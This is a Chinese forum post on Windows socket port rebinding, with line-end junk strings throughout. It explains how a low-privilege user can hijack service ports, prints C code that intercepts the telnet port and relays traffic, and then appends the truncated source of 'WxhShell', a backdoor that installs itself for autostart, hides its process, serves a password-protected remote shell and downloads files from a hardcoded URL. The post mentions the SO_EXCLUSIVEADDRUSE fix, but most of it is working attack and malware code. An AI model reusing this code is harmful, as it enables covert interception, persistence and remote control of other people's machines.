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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fg/dS6=n`?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 91of~ffh  
 ==/n(LBD  
  saddr.sin_family = AF_INET; $jI>[%  
"Lh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gjz[1d  
Sd IX-k.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BpO9As 1um  
ZyR_6n>L$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j%<}jw[2  
6AN)vs}  
  这意味着什么?意味着可以进行如下的攻击: yB LUNIr  
Rq~t4sA:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xx*2?i  
4z:#I;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `ya;:$(6  
E)ugLluL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]WJfgN4  
IfDx@?OB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   .Qt4&B  
PiLJZBUv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5 / m$)wE  
Uz%Z&K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $R8w+ Id  
ZX b}91rzt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -Uo?WXP]B'  
o@lWBfB*%e  
  #include 1u]P4Gf=  
  #include ,]Zp+>{  
  #include }8'&r(cN4  
  #include    >+cVs:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <Wl(9$  
  int main() ^_p%Yv  
  { d0 er^ ~  
  WORD wVersionRequested; %up}p/?  
  DWORD ret; __p_8P  
  WSADATA wsaData; V'Qn sI  
  BOOL val; $e\N+~KNCy  
  SOCKADDR_IN saddr; %@ mGK8  
  SOCKADDR_IN scaddr; i(2y:U3[@  
  int err; v7trr W}  
  SOCKET s; {bF1\S]2  
  SOCKET sc; &h$|j  
  int caddsize; Y9r3XhVI  
  HANDLE mt; daZQz"PP  
  DWORD tid;   )_jSG5k  
  wVersionRequested = MAKEWORD( 2, 2 ); =Pe><k  
  err = WSAStartup( wVersionRequested, &wsaData ); 5 HV)[us  
  if ( err != 0 ) { ,:v&4x&=  
  printf("error!WSAStartup failed!\n");  eIPG#A  
  return -1; ~@I@}n  
  } p4X{"Z\mn  
  saddr.sin_family = AF_INET; NB8&   
   v.Ogf 5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Zu<]bv  
s[3fqdLP&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,[48Mspp  
  saddr.sin_port = htons(23); H!IDV }dn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %4>x!{jwV  
  { >tRHNB_  
  printf("error!socket failed!\n"); i 6no;}j  
  return -1; d-!<C7O}  
  } 8zQfY^/{M  
  val = TRUE; !ZtSbOC'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MW Wu@SY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ar, 9U9  
  { Edt}",s7  
  printf("error!setsockopt failed!\n"); Ruh)^g  
  return -1; P-z`c\Rt  
  } !FG%2L4?,5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yOHXY&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K <`>O, F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e(\I_  
'Am-vhpm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rjojG59U>  
  { fu\s`W6f&  
  ret=GetLastError(); iL?iz?+.%@  
  printf("error!bind failed!\n"); 6`nR5fh  
  return -1;  #ch  
  } Jj"HpK>[  
  listen(s,2); v ahoSc;sw  
  while(1) @YL}km&Fw  
  { wODvc9p}]  
  caddsize = sizeof(scaddr); hCc0sRp  
  //接受连接请求 O+ .*lo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QocQowz  
  if(sc!=INVALID_SOCKET) D$Kea  
  { -6EK#!+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )r!e2zc=Q  
  if(mt==NULL) [e"RTTRfZ  
  { DvT+`X?R  
  printf("Thread Creat Failed!\n"); /8CY0Ey  
  break; *{/@uO  
  } !s IwFv )  
  } ]rX9MA6  
  CloseHandle(mt); yqcM(,0]  
  } tEhr  
  closesocket(s); lH1g[ ))  
  WSACleanup(); ( )|3  
  return 0; Enj_tJs  
  }   .|]IwyD &  
  DWORD WINAPI ClientThread(LPVOID lpParam) !*a[jhx  
  { [e4![G&y`  
  SOCKET ss = (SOCKET)lpParam; 6$ e]i|e  
  SOCKET sc; G%hO\EO  
  unsigned char buf[4096]; wly>H]i'  
  SOCKADDR_IN saddr; Q-('5a19J  
  long num; :1<~}*B@{  
  DWORD val; M9"Sgb`g  
  DWORD ret; Pz~q%J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H7e /  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cd~LsdKE5  
  saddr.sin_family = AF_INET; v}`1)BUeF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9m!7|(QV  
  saddr.sin_port = htons(23); #EwK"S~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9O;vUy)  
  { G=$}5; t  
  printf("error!socket failed!\n"); F' BdQk3o  
  return -1; CIQwl 6H9  
  } /t{=8v~  
  val = 100; \|q-+4]@,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A@ VaaX  
  { @l>Xnqx)  
  ret = GetLastError(); BlaJl[Piv  
  return -1; B7 c[ 4  
  } .Ty,_3+{#p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vipp /WV  
  { ,ep9V ,+|  
  ret = GetLastError(); ;X7i/D Q  
  return -1; j.& ;c'V$.  
  } >h7$v~nra  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T&/_e   
  { nLd~2qBuv  
  printf("error!socket connect failed!\n"); bF6gBM@*  
  closesocket(sc); nEVbfNo0  
  closesocket(ss); (Jpm KO  
  return -1; lPS*-p#IZ  
  } |Ylg$?,9*  
  while(1) )F E8D  
  { oFyeH )!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P`2&*2,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zPBfiK_hV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xiju"Cup"  
  num = recv(ss,buf,4096,0); okDJ(AIV+  
  if(num>0) wP`sXPSmIu  
  send(sc,buf,num,0); !aeNq82  
  else if(num==0) PW^ 8;[\QP  
  break; Z3`2-r_=  
  num = recv(sc,buf,4096,0); 9HKf^+';n  
  if(num>0) pzSqbgfrQ  
  send(ss,buf,num,0); + (=I8s/  
  else if(num==0) 1*c>I@I;  
  break; h#O"Q+J9n  
  } )k~1,  
  closesocket(ss); <ge}9pU)o^  
  closesocket(sc); |8'B/ p=  
  return 0 ; s!`H  
  } 85C#ja1&  
5G oK"F0i  
f !!P  
========================================================== ^2JPyyZa  
Lupy:4AD  
下边附上一个代码,,WXhSHELL :B^mV{~  
O\JD,w  
========================================================== {9;eH'e  
V0T<eH<  
#include "stdafx.h" oT!/J  
:p$EiR  
#include <stdio.h> z5ZKks   
#include <string.h> ] umZJZ#Y  
#include <windows.h> jMqx   
#include <winsock2.h> F,.Q|.nN  
#include <winsvc.h> ,4yG(O$)  
#include <urlmon.h> w>vmF cp  
Zly-\ z_  
#pragma comment (lib, "Ws2_32.lib") *k [kV  
#pragma comment (lib, "urlmon.lib") |Cq8%  
$2is3;h  
#define MAX_USER   100 // 最大客户端连接数 wO!% q[  
#define BUF_SOCK   200 // sock buffer >F|qb*Tm7  
#define KEY_BUFF   255 // 输入 buffer d/4ubf+$k  
Ff&R0v  
#define REBOOT     0   // 重启 F7V6-V{_  
#define SHUTDOWN   1   // 关机 26}u4W$  
j$0zD:ppW  
#define DEF_PORT   5000 // 监听端口 g~|y$T  
R9q0,yQW  
#define REG_LEN     16   // 注册表键长度 59~FpjJ  
#define SVC_LEN     80   // NT服务名长度 r hZQQOQ  
gE1|lY$NL  
// 从dll定义API r8F{A6iN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h-,?a_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b_ZNI0Hp@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Seg#s.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t#{x?cF  
*{Yi}d@h(  
// wxhshell配置信息 )5'rw<:="  
struct WSCFG { ]*a@*0=  
  int ws_port;         // 监听端口 ,b4~!V  
  char ws_passstr[REG_LEN]; // 口令 MyqiBGTb  
  int ws_autoins;       // 安装标记, 1=yes 0=no XUf7yD  
  char ws_regname[REG_LEN]; // 注册表键名 i#tbdx#  
  char ws_svcname[REG_LEN]; // 服务名 J$#D:KaU:N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 unJ iE!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |[DV\23{G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IQ=CNby:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pqOA/^ar  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nrF!;:x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~@?"' !U  
,,Jjr[A_j  
}; ~R'BU=!;F  
[~!.a\[RW  
// default Wxhshell configuration ,5=kDw2  
struct WSCFG wscfg={DEF_PORT, q _19&;&  
    "xuhuanlingzhe", Yu1QcFuy  
    1, @OY1`Eu O  
    "Wxhshell", V*>73I  
    "Wxhshell", xl|ghjn  
            "WxhShell Service", $\0TD7p  
    "Wrsky Windows CmdShell Service", OCwW@OC +  
    "Please Input Your Password: ", \4/:^T}*  
  1, gu^_iU  
  "http://www.wrsky.com/wxhshell.exe", k+f1sV[4}  
  "Wxhshell.exe" t[/\KG8  
    }; 2'|XtSj  
,YQ=Zk)w  
// 消息定义模块 *&h6*zP?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?<Z)*CF)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =!(S<];  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W;q#ZD(;  
char *msg_ws_ext="\n\rExit."; )nJzSN=>$  
char *msg_ws_end="\n\rQuit."; 1bT' u5&  
char *msg_ws_boot="\n\rReboot..."; ]"C| qR*  
char *msg_ws_poff="\n\rShutdown..."; D xe-XKNc.  
char *msg_ws_down="\n\rSave to "; -|6V}wHg~  
KBd7|,j  
char *msg_ws_err="\n\rErr!"; !NIL pimi  
char *msg_ws_ok="\n\rOK!"; .mC~Ry+t  
CQj/e+eE4  
char ExeFile[MAX_PATH]; ful]OLV+  
int nUser = 0; hcd!A 5  
HANDLE handles[MAX_USER]; BvSdp6z9Iv  
int OsIsNt; \)uy"+ Z`  
7E;>E9 '  
SERVICE_STATUS       serviceStatus; $,}Qf0(S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mgk64}K[n  
h_AJI\{"  
// 函数声明 #8S [z5 `  
int Install(void); 2;dM:FHLhO  
int Uninstall(void); 7qW.h>%WE  
int DownloadFile(char *sURL, SOCKET wsh); u![4=w  
int Boot(int flag); 0@o;|N"i  
void HideProc(void); ])+Sc"g4k  
int GetOsVer(void); MP6 \r  
int Wxhshell(SOCKET wsl); @=02  
void TalkWithClient(void *cs); x&QNP  
int CmdShell(SOCKET sock); czXI?]gg,  
int StartFromService(void); 7^n,Ti g  
int StartWxhshell(LPSTR lpCmdLine); &*X3c h  
5}<.1ab3V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z\X60T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H?rSP0.  
7yo|ie@S  
// 数据结构和表定义 1-4   
SERVICE_TABLE_ENTRY DispatchTable[] = e_YW~z=6t  
{ ]R97n|s_  
{wscfg.ws_svcname, NTServiceMain}, J& 1X  
{NULL, NULL} \/? ! 6~  
}; plzE  
_JfJ%YXy  
// 自我安装 l*~"5f03  
int Install(void) =4YbVA+(  
{ j:3A;r\  
  char svExeFile[MAX_PATH]; _Cu[s?,kS  
  HKEY key; OI)&vQ5k  
  strcpy(svExeFile,ExeFile); 3N(8| wh  
0SAG6k~x  
// 如果是win9x系统,修改注册表设为自启动 z4 4  
if(!OsIsNt) { 34"{rMbQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?q+8 /2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :7HVBH  
  RegCloseKey(key); gubb .EY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =YS!soO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y9z:xE  
  RegCloseKey(key); s98: *o3  
  return 0; D<+ bzC  
    } E#yCcC!wMY  
  } sV9{4T~#|  
} g @c=Bt$  
else { jEC'l]l  
TKj/6Jz|  
// 如果是NT以上系统,安装为系统服务 u i s:\Uc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); },?-$eyX  
if (schSCManager!=0) 7H8GkuO  
{ O^QR;<t'  
  SC_HANDLE schService = CreateService P^'>dOI0w  
  ( 9+WY@du+  
  schSCManager, `D&#U'wB   
  wscfg.ws_svcname, Bbn832iMUY  
  wscfg.ws_svcdisp, 5^G7pI7  
  SERVICE_ALL_ACCESS, N[|by}@n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }'@tA")-)  
  SERVICE_AUTO_START, *#X+Gngo  
  SERVICE_ERROR_NORMAL, 8eg2o$k_,#  
  svExeFile, F9>(W#aC  
  NULL, 17MN8SfQ  
  NULL, )W_ Y3M,  
  NULL, `R4W4h'I  
  NULL, z/ c'Z#w%  
  NULL KDNTnA1c  
  ); _*OaiEL+:  
  if (schService!=0) *@b~f&Lx6  
  { "6|'& 6&  
  CloseServiceHandle(schService); 7v4-hfN  
  CloseServiceHandle(schSCManager); -y7l?N5F>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ex;Y n{4  
  strcat(svExeFile,wscfg.ws_svcname); DYy@t^sC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LaAgoarN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,d/CU  
  RegCloseKey(key); 8EW`*+%=  
  return 0; ];YglHH  
    } ]ly)z[is"]  
  } [4V|UvKz  
  CloseServiceHandle(schSCManager); bi4^ zaCEE  
} VfJX<e=k  
} J.CZR[XF#  
@E&X &F%  
return 1; f4@#pnJ3po  
} Q!BkS=H30K  
Q@3ld6y  
// 自我卸载 (AyRs7Dkn  
int Uninstall(void) hs -}:^S`  
{ X:zyzEhS  
  HKEY key; /_ hfjCE  
ul5::  
if(!OsIsNt) { A_X^k|)T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qB` 0^V  
  RegDeleteValue(key,wscfg.ws_regname); (>)+;$Dr,\  
  RegCloseKey(key); 8&`T<ECq>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v]d?6g  
  RegDeleteValue(key,wscfg.ws_regname); I%VV4,I&pK  
  RegCloseKey(key); 7@e[:>e  
  return 0; U3VsMV*Y  
  } j3V"d3)  
} R[ +]d|L  
} MOH,'@&6^  
else { T8M[eSbZ  
Nt,]00S\w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `siy!R  
if (schSCManager!=0) $)i"[  
{ Si%Eimiq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $D2Ain1  
  if (schService!=0) * (XgUJ q+  
  { c+\Gd}IJq  
  if(DeleteService(schService)!=0) { [3bwbfHhi  
  CloseServiceHandle(schService); ~k:>Xo[|O  
  CloseServiceHandle(schSCManager); = -a?oH-  
  return 0; y+~Aw"J}  
  } +$pO  
  CloseServiceHandle(schService); l*V72!Mv  
  } (t"YoWA#m  
  CloseServiceHandle(schSCManager); PHB\)/  
} *< SU_dAh  
} #f jX|b  
F0o18k_"  
return 1; `b,g2XA  
} G@l|u  
vr]dRStr  
// 从指定url下载文件  :L+zUlsf  
int DownloadFile(char *sURL, SOCKET wsh) EZu  
{ Xb07 l3UG  
  HRESULT hr; s$=B~l  
char seps[]= "/"; fjeE.  
char *token; E rRMiT  
char *file; a} Iz  
char myURL[MAX_PATH]; D-;43>yi<  
char myFILE[MAX_PATH]; ='l6&3X  
E`Zh\u)  
strcpy(myURL,sURL); 5E!|on  
  token=strtok(myURL,seps); W1M/Z[h6)5  
  while(token!=NULL) KTS7)2ci  
  { =*O9)$b  
    file=token; O'?lW~CD.>  
  token=strtok(NULL,seps); M3xi 0/.  
  } )-6[ Bw  
8i+jFSZ$  
GetCurrentDirectory(MAX_PATH,myFILE); C^ k3*N  
strcat(myFILE, "\\"); v(WL 3[y;  
strcat(myFILE, file); u>-uRz<)t  
  send(wsh,myFILE,strlen(myFILE),0); rBL_]\$7}  
send(wsh,"...",3,0); D/!G]hx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :O2v0Kx  
  if(hr==S_OK) \?Oa}&k$F8  
return 0; ?(XX  
else UW~tS  
return 1; JO;` Kz_$  
U1@ P/  
} d`rDEa  
>?Y3WPB<F  
// 系统电源模块 !-Tmu  
int Boot(int flag) dIe 6:s  
{ cVt$#A)  
  HANDLE hToken; -Z#]_C{Y-)  
  TOKEN_PRIVILEGES tkp; Wug?CFX+T  
E"vi+'(v  
  if(OsIsNt) { CX@HG)l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m_Y}>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |@uhq>&  
    tkp.PrivilegeCount = 1; Hwi7oXP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wn)A/Z ^r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .m % x-i  
if(flag==REBOOT) { N/SB}F j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )}Mt'd  
  return 0; gj(l&F *@  
} 3_['[}  
else { a>e 1jM[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2LK*Cv[  
  return 0; jZgnt{  
} `[R:L.H1  
  } UM;bVf?  
  else { Xv;ZAa  
if(flag==REBOOT) { D_`)T;<Sp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >w'?DV>u|  
  return 0; xo@/k   
} {hp@j#  
else { S+=@d\S}"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D"><S<C\C  
  return 0; &rE l  
} oz7udY=]0  
} OTbjZ(  
{d5ur@G1  
return 1;  AHg4kG  
} xn#I7]]G  
-)c"cgx.  
// win9x进程隐藏模块 l<:)rg^,  
void HideProc(void) oHGf |  
{ VHkrPJ[  
5^R#e(mr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6O?Sr,  
  if ( hKernel != NULL ) UEb'E;  
  { [}Yci:P_ +  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j;c ^pLUP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q14;G<l-  
    FreeLibrary(hKernel); I.0Usa"z  
  } q>h+Ke  
Y  .X-8  
return; 3B]+]e~  
} Bc` A]U  
WN?`Od:y  
// 获取操作系统版本 fpC@3itI  
int GetOsVer(void) [IX!3I[J]  
{ {ca^yHgGy  
  OSVERSIONINFO winfo; o".O#^3H%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~]s"PV:|  
  GetVersionEx(&winfo); x6mq['_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |UiykQ  
  return 1; z+`)|c4-  
  else [\y>&"uk  
  return 0; ymJw{&^am  
} B~?Q. <M  
U0=zuRr n  
// 客户端句柄模块 CF 0IP  
int Wxhshell(SOCKET wsl) /-9+(  
{ "PP0PL^5F  
  SOCKET wsh; hndRg Co  
  struct sockaddr_in client; bGLp0\0[  
  DWORD myID; S~`AnX3!  
z:? <aT  
  while(nUser<MAX_USER) {dH<Un(4Z  
{ Z4tq&^ :c=  
  int nSize=sizeof(client); Q/SC7R&"t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6R,b 8  
  if(wsh==INVALID_SOCKET) return 1; YuuG:Kk  
[Cr~gd+ q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8-#2?=  
if(handles[nUser]==0) *y$ry]  
  closesocket(wsh); c7N9X 3A  
else \?I wR]@y  
  nUser++; \X p"I5  
  } 8xz7S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J#5o  
s:.XF|e{  
  return 0; [wxI X  
} ;'+cT.cmH  
z-E4-\a  
// 关闭 socket ^vz@d+\Kd  
void CloseIt(SOCKET wsh) Z-V%lRQ=b  
{ LR.+C xQ  
closesocket(wsh); u 9Tl Xn  
nUser--; #.xTAvD  
ExitThread(0); ~#Mx&mZ  
} U~c;W@T  
xL"o)]a=  
// 客户端请求句柄 nlnJJM&J $  
void TalkWithClient(void *cs) S}I=i>QB  
{ hS/'b$#  
1Ac1CsK*  
  SOCKET wsh=(SOCKET)cs; g0$k_  
  char pwd[SVC_LEN]; f@g  
  char cmd[KEY_BUFF]; n#,l&Bx  
char chr[1]; VAzJclB  
int i,j; i`s pM<iR.  
SZ){1Hu  
  while (nUser < MAX_USER) { pZn%g]nRD  
CT`X~y10  
if(wscfg.ws_passstr) { 32/P(-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1#u w^{n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^!tI+F{n{  
  //ZeroMemory(pwd,KEY_BUFF); xz'd5 re%  
      i=0; <5^(l$IBj  
  while(i<SVC_LEN) { !d )i6W?  
VG7#6)sQoK  
  // 设置超时 q,Q|Uvpk  
  fd_set FdRead; h}_q  
  struct timeval TimeOut; {<n)zLy  
  FD_ZERO(&FdRead); N/=3Bs0y-  
  FD_SET(wsh,&FdRead); 1r4/McB  
  TimeOut.tv_sec=8; tYa*%|!v  
  TimeOut.tv_usec=0; 1i2O]e!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jgIzB1H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3S?+G)qKo  
hdb4E|'A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jp0.h8i  
  pwd=chr[0]; jXR+>=_  
  if(chr[0]==0xd || chr[0]==0xa) { <rF  
  pwd=0; 7mBL#T2   
  break; >4b39/BM  
  } z5/O8}Gz@  
  i++; \]El%j4  
    } Z;s-t\C  
DVH><3FF  
  // 如果是非法用户,关闭 socket +.cv,1Vx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |SleSgS<#  
} i|GC 'XD@  
ARo5 Ss{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q"oNB-bz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]^<~[QK_C  
W@=ilW3RD  
while(1) { l"8YIsir  
Hq$ |j,&?  
  ZeroMemory(cmd,KEY_BUFF); @xE Q<g  
vS#]RW&j  
      // 自动支持客户端 telnet标准   :P~Owz  
  j=0; 7a net  
  while(j<KEY_BUFF) { w (1a{m?ht  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >d\I*"C+d  
  cmd[j]=chr[0]; kvn6 NiU  
  if(chr[0]==0xa || chr[0]==0xd) { ks$G6WC  
  cmd[j]=0; P $S P4F  
  break; IF1}}[Ht  
  } k"$V O+}m  
  j++; tAUMSr|?  
    } nc)`ISI  
H_^c K  
  // 下载文件 {VG6m Hw  
  if(strstr(cmd,"http://")) { R2@u[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a6_`V;  
  if(DownloadFile(cmd,wsh)) ' iK0Wr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXS9E383  
  else 1,,-R*x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =UY@,*q:c  
  } `0F IJT  
  else { `<q5RuU  
1wt]J!hgV  
    switch(cmd[0]) { X*Zv,Wm  
  $)!Z"2T  
  // 帮助 4NIfQYC.  
  case '?': { $P_Y8:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); clNP9{  
    break; jC%I]#!n  
  } 1YxI q565  
  // 安装 3$54*J  
  case 'i': { dQ]j r.  
    if(Install()) q-#fuD^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p(Mv^ea  
    else l<+k[@Vox  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Daq5(fLP  
    break; xmDwoLU  
    } m`~ Qr~  
  // 卸载 &0ra a  
  case 'r': { Ai;Pht9qi  
    if(Uninstall()) _1ins;c52  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qs a2iw{  
    else \z 'noc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yr?\YKV)I  
    break; 566EMy|  
    } Er)b( Kk  
  // 显示 wxhshell 所在路径 uvL|T48  
  case 'p': { 0/$sr;  
    char svExeFile[MAX_PATH]; S%2qB;uw  
    strcpy(svExeFile,"\n\r"); UpILr\3U  
      strcat(svExeFile,ExeFile); Eh+lL tZ  
        send(wsh,svExeFile,strlen(svExeFile),0); EZ4qhda  
    break; J7ln6Y  
    } k>"I!&#g  
  // 重启 gQ~4udla.  
  case 'b': { Ad`IgZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -SQYr  
    if(Boot(REBOOT)) A:f+x|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eR CGr?e4  
    else { Zh@\+1]  
    closesocket(wsh); f+ &yc'[  
    ExitThread(0); |@RO&F  
    } 2k_Bo~.  
    break; N@}U;x}  
    } >:=TS"}yS}  
  // 关机 2r,fF<WQ  
  case 'd': { 15COwc*k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @OpcS>:R  
